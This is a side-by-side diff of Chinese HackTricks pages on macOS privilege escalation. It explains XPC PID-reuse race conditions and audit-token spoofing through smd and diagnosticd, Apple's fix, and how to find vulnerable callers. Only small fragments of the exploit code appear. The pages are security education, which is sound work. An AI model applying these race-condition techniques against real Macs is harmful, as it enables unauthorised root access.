当 macOS **XPC 服务**基于 **PID** 而不是 **审计令牌** 来检查调用进程时,就容易受到 PID 重用攻击的影响。这种攻击基于 **竞争条件**,其中一个 **利用程序**将会 **向 XPC 服务发送消息****滥用**功能,然后**立即**执行 **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** **允许的** 二进制文件。 当 macOS **XPC 服务**根据 **PID** 而不是 **审计令牌** 检查被调用的进程时,它就容易受到 PID 重用攻击。该攻击基于 **竞争条件**,其中 **利用****消息发送到 XPC** 服务 **滥用** 功能,随后执行 **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** 使用 **允许的** 二进制文件。
这个函数将使 **允许的二进制文件拥有 PID**,但**恶意 XPC 消息**将在此之前发送。因此,如果 **XPC** 服务在执行 **`posix_spawn`** 之后使用 **PID** 来 **验证**发送者并在此之后检查它,它将认为消息来自一个**授权的**进程。 此函数将使 **允许的二进制文件拥有 PID**,但 **恶意的 XPC 消息会在此之前发送**。因此,如果 **XPC** 服务 **使用** **PID****验证** 发送者,并在执行 **`posix_spawn`** 之后检查它,它将认为消息来自 **授权** 进程。
### 攻击示例 ### 利用示例
如果您发现函数 **`shouldAcceptNewConnection`** 或其调用的函数 **调用** **`processIdentifier`** 而不调用 **`auditToken`**。这很可能意味着它正在**验证进程 PID** 而不是审计令牌。\ 如果你找到函数 **`shouldAcceptNewConnection`** 或其调用的函数 **调用** **`processIdentifier`** 而不调用 **`auditToken`**,这很可能意味着它在 **验证进程 PID** 而不是审计令牌。\
例如,如下图所示(摘自参考资料 例如在这张图片中(取自参考
<figure><img src="../../../../../../.gitbook/assets/image (306).png" alt="https://wojciechregula.blog/images/2020/04/pid.png"><figcaption></figcaption></figure> <figure><img src="../../../../../../.gitbook/assets/image (306).png" alt="https://wojciechregula.blog/images/2020/04/pid.png"><figcaption></figcaption></figure>
检查此示例攻击(同样摘自参考资料)以查看攻击的两个部分: 查看这个示例利用(同样取自参考)以查看利用的两个部分:
- 一个**生成多个 fork** * 一个 **生成多个分叉**
- **每个 fork**在发送消息后立即执行 **`posix_spawn`** 向 XPC 服务发送**有效载荷**。 * **每个分叉****发送** **有效载荷** 到 XPC 服务,同时在发送消息后立即执行 **`posix_spawn`**。
{% hint style="danger" %} {% hint style="danger" %}
为了使攻击生效,重要的是 ` export`` `` `**`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`** 或将其放入攻击中: 为了使利用有效,重要的是 ` export`` `` `**`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`** 或将其放入利用中:
```objectivec ```objectivec
asm(".section __DATA,__objc_fork_ok\n" asm(".section __DATA,__objc_fork_ok\n"
"empty:\n" "empty:\n"
@ -43,7 +44,7 @@ asm(".section __DATA,__objc_fork_ok\n"
{% tabs %} {% tabs %}
{% tab title="NSTasks" %} {% tab title="NSTasks" %}
第一种选项是使用**`NSTasks`**和参数来启动子进程以利用 RC 使用 **`NSTasks`** 的第一个选项和参数来启动子进程以利用 RC
```objectivec ```objectivec
// Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/ // Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
// gcc -framework Foundation expl.m -o expl // gcc -framework Foundation expl.m -o expl
@ -152,7 +153,7 @@ return 0;
{% endtab %} {% endtab %}
{% tab title="fork" %} {% tab title="fork" %}
这个例子使用原始 **`fork`** 来启动 **利用 PID 竞争条件的子进程**,然后通过硬链接 **利用另一个竞争条件:** 这个例子使用原始 **`fork`** 来启动 **利用 PID 竞争条件的子进程**,然后通过硬链接利用 **另一个竞争条件:**
```objectivec ```objectivec
// export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES // export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
// gcc -framework Foundation expl.m -o expl // gcc -framework Foundation expl.m -o expl
@ -285,25 +286,29 @@ pwned = true;
return 0; return 0;
} }
``` ```
{% endtab %}
{% endtabs %}
## 其他示例 ## 其他示例
* [https://gergelykalman.com/why-you-shouldnt-use-a-commercial-vpn-amateur-hour-with-windscribe.html](https://gergelykalman.com/why-you-shouldnt-use-a-commercial-vpn-amateur-hour-with-windscribe.html) * [https://gergelykalman.com/why-you-shouldnt-use-a-commercial-vpn-amateur-hour-with-windscribe.html](https://gergelykalman.com/why-you-shouldnt-use-a-commercial-vpn-amateur-hour-with-windscribe.html)
## 参考资料 ## 参考文献
* [https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/](https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/) * [https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/](https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/)
* [https://saelo.github.io/presentations/warcon18\_dont\_trust\_the\_pid.pdf](https://saelo.github.io/presentations/warcon18\_dont\_trust\_the\_pid.pdf) * [https://saelo.github.io/presentations/warcon18\_dont\_trust\_the\_pid.pdf](https://saelo.github.io/presentations/warcon18\_dont\_trust\_the\_pid.pdf)
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,35 +1,36 @@
# macOS xpc\_connection\_get\_audit\_token 攻击 # macOS xpc\_connection\_get\_audit\_token 攻击
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持 HackTricks 的其他方式: * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或**关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details> </details>
{% endhint %}
**有关更多信息,请查看原始帖子:** [**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)。这是一个摘要: **有关更多信息,请查看原始帖子:** [**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)。以下是摘要:
## Mach 消息基本信息 ## Mach 消息基本信息
如果您不知道 Mach 消息是什么,请查看此页面: 如果你不知道 Mach 消息是什么,请开始查看此页面:
{% content-ref url="../../" %} {% content-ref url="../../" %}
[..](../../) [..](../../)
{% endcontent-ref %} {% endcontent-ref %}
目前记住([定义来自此处](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)\ 目前记住([此处定义](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)\
Mach 消息通过 _mach 端口_ 发送,这是内置在 mach 内核中的**单接收器,多发送器通信**通道。**多个进程可以向 mach 端口发送消息**,但在任何时候**只有一个进程可以从中读取**。就像文件描述符和套接字一样mach 端口由内核分配和管理,进程只看到一个整数,它们可以用来指示内核它们想使用哪个 mach 端口。 Mach 消息通过 _mach 端口_ 发送,这是一个内置于 mach 内核的 **单接收者,多发送者通信** 通道。**多个进程可以向 mach 端口发送消息**,但在任何时候 **只有一个进程可以从中读取**。就像文件描述符和套接字一样mach 端口由内核分配和管理,进程只看到一个整数,可以用来指示内核它们想使用哪个 mach 端口。
## XPC 连接 ## XPC 连接
如果不知道如何建立 XPC 连接,请查看: 如果不知道如何建立 XPC 连接,请查看:
{% content-ref url="../" %} {% content-ref url="../" %}
[..](../) [..](../)
@ -37,100 +38,115 @@ Mach 消息通过 _mach 端口_ 发送,这是内置在 mach 内核中的**单
## 漏洞摘要 ## 漏洞摘要
您需要知道的有趣信息是**XPC 的抽象是一对一连接**,但它是基于一个**可以有多个发送器的技术**,因此: 你需要知道的有趣信息是 **XPC 的抽象是一个一对一连接**,但它是基于一种 **可以有多个发送者的技术,因此:**
* Mach 端口是单接收器,**多发送器**。 * Mach 端口是单接收者,**多个发送者**。
* XPC 连接的审计令牌是从**最近接收的消息**中**复制**的审计令牌 * XPC 连接的审计令牌是 **从最近接收到的消息复制的审计令牌**
* 获取 XPC 连接的**审计令牌**对许多**安全检查**至关重要。 * 获取 XPC 连接的 **审计令牌** 对许多 **安全检查** 至关重要。
尽管前述情况听起来很有前途,但在某些情况下,这不会引起问题([来自此处](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing) 尽管前面的情况听起来很有前景,但在某些场景中这不会导致问题([来自这里](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)
* 审计令牌通常用于授权检查,以决定是否接受连接。由于这是使用消息发送到服务端口进行的,**尚未建立连接**。在此端口上的更多消息将只被处理为附加的连接请求。因此,**在接受连接之前的任何检查都不会有漏洞**(这也意味着在 `-listener:shouldAcceptNewConnection:` 中审计令牌是安全的)。因此,我们**正在寻找验证特定操作的 XPC 连接**。 * 审计令牌通常用于授权检查,以决定是否接受连接。由于这是通过向服务端口发送消息进行的,因此 **尚未建立连接**。在此端口上的更多消息将被视为额外的连接请求。因此,在接受连接之前的任何 **检查都不易受攻击**(这也意味着在 `-listener:shouldAcceptNewConnection:` 中审计令牌是安全的)。因此,我们 **正在寻找验证特定操作的 XPC 连接**
* XPC 事件处理程序是同步处理的。这意味着一个消息的事件处理程序必须在调用下一个消息的事件处理程序之前完成,即使在并发调度队列上也是如此。因此,在**XPC 事件处理程序内部,审计令牌不能被其他正常(非回复!)消息覆盖**。 * XPC 事件处理程序是同步处理的。这意味着一个消息的事件处理程序必须在调用下一个之前完成,即使在并发调度队列中。因此,在 **XPC 事件处理程序内部,审计令牌不能被其他正常(非回复!)消息覆盖**
这可能会利用两种不同的方法: 这可能被利用的两种不同方法:
1. 变体1 1. 变体1
* **利用**连接到服务 **A** 和服务 **B** * **利用** **连接** 到服务 **A** 和服务 **B**
* 服务 **B** 可以调用服务 **A** 中用户无法执行的**特权功能** * 服务 **B** 可以调用服务 A 中用户无法调用的 **特权功能**
* 服务 **A****不在** **`dispatch_async`** 的**事件处理程序**中调用 **`xpc_connection_get_audit_token`**。 * 服务 **A** **`dispatch_async`** 中的连接 **事件处理程序** _**外部**_ 调用 **`xpc_connection_get_audit_token`**。
* 因此,**不同的**消息可能会**覆盖审计令牌**,因为它在事件处理程序外异步调度 * 因此,**不同的** 消息可能会 **覆盖审计令牌**,因为它在事件处理程序外异步调度。
* 攻击将**服务 A 的 SEND 权限传递给服务 B** * 利用将 **发送权** 传递给 **服务 B** 的服务 **A**
* 因此,svc **B** 实际上将**消息发送**到服务 **A** * 因此,服务 **B** 实际上将 **发送** 消息到服务 **A**
* **利用**尝试**调用** **特权操作**。在 RC svc **A** **检查**此**操作**的授权,而**svc B 覆盖了审计令牌**(使攻击可以调用特权操作)。 * **利用** 尝试 **调用** **特权操作**。在 RC 服务 **A** **检查****操作** 的授权,而 **服务 B** 覆盖了审计令牌(使利用能够调用特权操作)。
2. 变体 2 2. 变体 2
* 服务 **B** 可以调用服务 **A** 中用户无法执行的**特权功能** * 服务 **B** 可以调用服务 A 中用户无法调用的 **特权功能**
* 利用与**服务 A**建立连接,**发送**期望响应的消息到特定**回复端口** * 利用与 **服务 A** 连接,**服务 A** 向利用发送一条 **期望回复** 的消息
* 利用向**服务 B**发送消息,传递**该回复端口**。 * 利用向 **服务 B** 发送一条消息,传递 **该回复端口**
* 当服务 **B** 回复时,它将**消息发送到服务 A****同时**利用发送不同的**消息到服务 A**,尝试**访问特权功能**并期望服务 B 的回复将在完美时机覆盖审计令牌(竞争条件)。 * 当服务 **B 回复** 时,它 **将消息发送到服务 A****同时** 利用向服务 A 发送一条不同的 **消息**,试图 **达到特权功能**,并期望服务 B 的回复会在完美的时刻覆盖审计令牌(竞争条件)。
## 变体 1在事件处理程序外调用 xpc\_connection\_get\_audit\_token <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a> ## 变体 1在事件处理程序外调用 xpc\_connection\_get\_audit\_token <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
场景: 场景:
* 两个 mach 服务 **`A`** 和 **`B`**,我们都可以连接(基于沙箱配置文件和接受连接前的授权检查)。 * 两个 mach 服务 **`A`** 和 **`B`**,我们都可以连接(基于沙箱配置文件和接受连接前的授权检查)。
* _**A**_ 必须对**`B`**可以通过的特定操作进行**授权检查**(但我们的应用程序不能)。 * _**A**_ 必须对 **`B`** 可以传递的特定操作进行 **授权检查**(但我们的应用程序不能)。
* 例如,如果 B 有一些**授权**或以**root**身份运行,它可能允许他要求 A 执行特权操作。 * 例如,如果 B 拥有某些 **权限** 或以 **root** 身份运行,它可能允许他请求 A 执行特权操作。
* 对于此授权检查,**`A`**通过异步方式获取审计令牌,例如通过从**`dispatch_async`**调用 `xpc_connection_get_audit_token` * 对于此授权检查,**`A`** 异步获取审计令牌,例如通过从 **`dispatch_async`** 调用 `xpc_connection_get_audit_token`
{% hint style="danger" %} {% hint style="danger" %}
在这种情况下,攻击者可以触发**竞争条件**,制作一个**请求 A 执行操作**的**利用**,同时让**B 发送消息到 `A`**。当 RC **成功**时,**B** 的审计令牌将在**处理**我们的**利用**请求时**复制到内存中**,使其可以访问只有 B 可以请求的特权操作 在这种情况下,攻击者可以触发 **竞争条件**,使 **利用** **多次请求 A 执行操作**,同时使 **B 向 `A` 发送消息**。当 RC **成功** 时,**B** 的 **审计令牌** 将在 **利用** 的请求被 **处理** 时复制到内存中,从而使其 **访问只有 B 可以请求的特权操作**
{% endhint %} {% endhint %}
这发生在**`A`**作为`smd`**`B`**作为`diagnosticd`的情况下。从 smb 的[`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) 函数可以用于安装新的特权助手工具(作为**root**)。如果以**root**身份运行的进程联系**smd**,将不会执行其他检查。 这发生在 **`A`** 作为 `smd`**`B`** 作为 `diagnosticd`。函数 [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) 可以用于安装新的特权辅助工具(作为 **root**)。如果 **以 root 身份运行的进程联系** **smd**,将不会执行其他检查。
因此,服务 **B****`diagnosticd`**,因为它以**root**身份运行,并可用于**监视**进程,因此一旦监视开始,它将**每秒发送多个消息。** 因此,服务 **B****`diagnosticd`**,因为它以 **root** 身份运行并可用于 **监控** 进程,因此一旦开始监控,它将 **每秒发送多条消息**
行攻击的步骤: 行攻击的步骤:
1. 使用标准 XPC 协议**建立**到名为 `smd` 的服务的**连接** 1. 使用标准 XPC 协议发起与名为 `smd` 的服务的 **连接**
2. 与正常程序相反,形成到 `diagnosticd` 的辅助**连接**。而不是创建并发送两个新的 mach 端口,客户端端口发送权被替换为与 `smd` 连接相关联的**发送权**的副本。 2. 形成与 `diagnosticd` 的二次 **连接**。与正常程序相反,而不是创建并发送两个新的 mach 端口,客户端端口发送权被替换为与 `smd` 连接相关联的 **发送权** 的副本。
3. 结果XPC 消息可以被分派到 `diagnosticd`,但来自 `diagnosticd` 的响应被重新路由到 `smd`。对于`smd`,似乎来自用户和`diagnosticd`的消息都是来自同一连接。 3. 结果XPC 消息可以调度到 `diagnosticd`,但来自 `diagnosticd` 的响应被重定向到 `smd`。对于 `smd` 来说,来自用户和 `diagnosticd` 的消息似乎都来自同一连接。
![绘攻击过程的图像](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png) ![述利用过程的图像](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
4. 下一步涉及指示 `diagnosticd` 启动对所选进程(可能是用户自己的进程)的监视。同时,向 `smd` 发送一连串的常规 1004 消息。这里的目的是安装具有提升权限的工具。 4. 下一步是指示 `diagnosticd` 启动对所选进程(可能是用户自己的进程)的监控。同时,向 `smd` 发送大量常规 1004 消息。此操作的目的是安装具有提升权限的工具。
5. 这个操作触发了`handle_bless`函数内的竞争条件。时间非常关键:`xpc_connection_get_pid`函数调用必须返回用户进程的PID因为特权工具驻留在用户的应用程序包中。然而`xpc_connection_get_audit_token`函数,特别是在`connection_is_authorized`子例程内,必须引用属于`diagnosticd`的审计令牌。 5. 此操作触发 `handle_bless` 函数中的竞争条件。时机至关重要:`xpc_connection_get_pid` 函数调用必须返回用户进程的 PID因为特权工具位于用户的应用程序包中。然而`xpc_connection_get_audit_token` 函数,特别是在 `connection_is_authorized` 子例程中,必须引用属于 `diagnosticd` 的审计令牌。
## 变2回复转发 ## 变2回复转发
XPC跨进程通信环境中虽然事件处理程序不会并发执行,但回复消息的处理具有独特的行为。具体而言,存在两种不同的方法用于发送期望回复的消息: XPC跨进程通信环境中尽管事件处理程序不会并发执行,但回复消息的处理具有独特的行为。具体而言,存在两种不同的方法发送期望回复的消息:
1. **`xpc_connection_send_message_with_reply`**在这里XPC消息在指定队列上接收和处理。 1. **`xpc_connection_send_message_with_reply`**在这里XPC 消息在指定队列上接收和处理。
2. **`xpc_connection_send_message_with_reply_sync`**:相反,在这种方法中XPC消息在当前调度队列上接收和处理。 2. **`xpc_connection_send_message_with_reply_sync`**:相反,在此方法中XPC 消息在当前调度队列上接收和处理。
这种区别至关重要,因为它允许**回复数据包在执行XPC事件处理程序的同时被并发解析**的可能性。值得注意的是,虽然`_xpc_connection_set_creds`实现了锁定以防止审计令牌的部分覆盖,但它没有将此保护扩展到整个连接对象。因此,这会产生一个漏洞,其中在解析数据包和执行其事件处理程序之间的时间间隔内,审计令牌可以被替换。 这种区别至关重要,因为它允许 **回复数据包在执行 XPC 事件处理程序时并发解析**。值得注意的是,虽然 `_xpc_connection_set_creds` 确实实现了锁定以防止审计令牌的部分覆盖,但它并未将此保护扩展到整个连接对象。因此,这造成了一个漏洞,在解析数据包和执行其事件处理程序之间的间隔中,审计令牌可能会被替换。
要利用这个漏洞,需要以下设置: 要利用漏洞,需要以下设置:
* 两个名为**`A`**和**`B`**的mach服务两者都可以建立连接。 * 两个 mach 服务,称为 **`A`** 和 **`B`**都可以建立连接。
* 服务**`A`**应包含一个仅**`B`**可以执行的特定操作的授权检查(用户的应用程序无法执行)。 * 服务 **`A`** 应包含对只有 **`B`** 可以执行的特定操作的授权检查(用户的应用程序无法)。
* 服务**`A`**应发送一条期望回复的消息。 * 服务 **`A`** 应发送一条期望回复的消息。
* 用户可以向**`B`**发送一条它将回复的消息 * 用户可以向 **`B`** 发送一条消息,**B** 将对此进行回复
利用过程包括以下步骤: 利用过程涉及以下步骤:
1. 等待服务**`A`**发送一条期望回复的消息。 1. 等待服务 **`A`** 发送一条期望回复的消息。
2. 不直接回复给**`A`**,而是劫持回复端口并用于向服务**`B`**发送消息。 2. 不直接回复 **`A`**,而是劫持回复端口并用于向服务 **`B`** 发送消息。
3. 随后,发送涉及被禁止操作的消息,期望它将与**`B`**的回复同时处理。 3. 随后,发送一条涉及禁止操作的消息,期望它与来自 **`B`** 的回复并发处理。
是所描述攻击场景的可视化表示: 下是所描述攻击场景的可视化表示:
![https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png](../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png) !\[https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png]\(../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
<figure><img src="../../../../../../.gitbook/assets/image (33).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure> <figure><img src="../../../../../../.gitbook/assets/image (33).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
## 发现问题 ## 发现问题
* **定位实例的困难**:静态和动态搜索`xpc_connection_get_audit_token`使用实例都具挑战性。 * **定位实例的困难**:静态和动态搜索 `xpc_connection_get_audit_token` 使用实例都具挑战性。
* **方法论**:使用Frida来挂钩`xpc_connection_get_audit_token`函数,过滤不是源自事件处理程序的调用。然而,这种方法仅限于被挂钩的进程,并且需要主动使用。 * **方法论**:使用 Frida 钩住 `xpc_connection_get_audit_token` 函数,过滤不来自事件处理程序的调用。然而,此方法仅限于被钩住的进程,并需要主动使用。
* **分析工具**:使用IDA/Ghidra来检查可达的mach服务但这个过程耗时复杂度增加了与dyld共享缓存相关的调用 * **分析工具**:使用 IDA/Ghidra 等工具检查可达的 mach 服务,但该过程耗时,且涉及 dyld 共享缓存的调用使其复杂
* **脚本限制**:尝试为从`dispatch_async`块调用`xpc_connection_get_audit_token`的调用编写脚本时由于解析块和与dyld共享缓存的交互复杂性而受到阻碍。 * **脚本限制**:尝试为从 `dispatch_async` 块调用 `xpc_connection_get_audit_token` 的分析编写脚本时,由于解析块和与 dyld 共享缓存的交互的复杂性而受到阻碍。
## 修复 <a href="#the-fix" id="the-fix"></a> ## 修复 <a href="#the-fix" id="the-fix"></a>
* **报告的问题**向Apple提交了一份报告详细说明了`sm`中发现的一般和具体问题。 * **报告问题**:向 Apple 提交了一份报告,详细说明了在 `smd` 中发现的一般和特定问题。
* **苹果的回应**:苹果通过用`xpc_dictionary_get_audit_token`替换`xpc_connection_get_audit_token`来解决了`sm`中的问题。 * **Apple 的回应**Apple 通过将 `xpc_connection_get_audit_token` 替换为 `xpc_dictionary_get_audit_token` 解决了 `smd` 中的问题。
* **修复的性质**`xpc_dictionary_get_audit_token`函数被认为是安全的因为它直接从与接收的XPC消息相关联的mach消息中检索审计令牌。然而它不是公共API的一部分类似于`xpc_connection_get_audit_token`。 * **修复的性质**`xpc_dictionary_get_audit_token` 函数被认为是安全的,因为它直接从与接收的 XPC 消息相关的 mach 消息中检索审计令牌。然而,它不是公共 API 的一部分,类似于 `xpc_connection_get_audit_token`
* **缺乏更广泛的修复**:目前尚不清楚为什么苹果没有实施更全面的修复,比如丢弃与连接的保存的审计令牌不符的消息。在某些情况下(例如`setuid`使用)合法审计令牌更改的可能性可能是一个因素。 * **缺乏更广泛的修复**:尚不清楚为什么 Apple 没有实施更全面的修复,例如丢弃与连接的保存审计令牌不一致的消息。某些情况下(例如,使用 `setuid`)合法审计令牌更改的可能性可能是一个因素。
* **当前状态**该问题在iOS 17和macOS 14中仍然存在对于那些试图识别和理解它的人来说构成了一个挑战。 * **当前状态**:该问题在 iOS 17 和 macOS 14 中仍然存在,给那些寻求识别和理解它的人带来了挑战。
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
</details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# macOS库注入 # macOS Library Injection
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% hint style="danger" %}
**dyld的代码是开源的**,可以在[https://opensource.apple.com/source/dyld/](https://opensource.apple.com/source/dyld/)找到,也可以使用类似[https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)的URL下载tar文件。
{% endhint %} {% endhint %}
## **Dyld进程** {% hint style="danger" %}
**dyld 的代码是开源的**,可以在 [https://opensource.apple.com/source/dyld/](https://opensource.apple.com/source/dyld/) 找到,并可以使用 **URL 如** [https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) 下载为 tar 文件。
{% endhint %}
查看Dyld如何在二进制文件中加载库 ## **Dyld 进程**
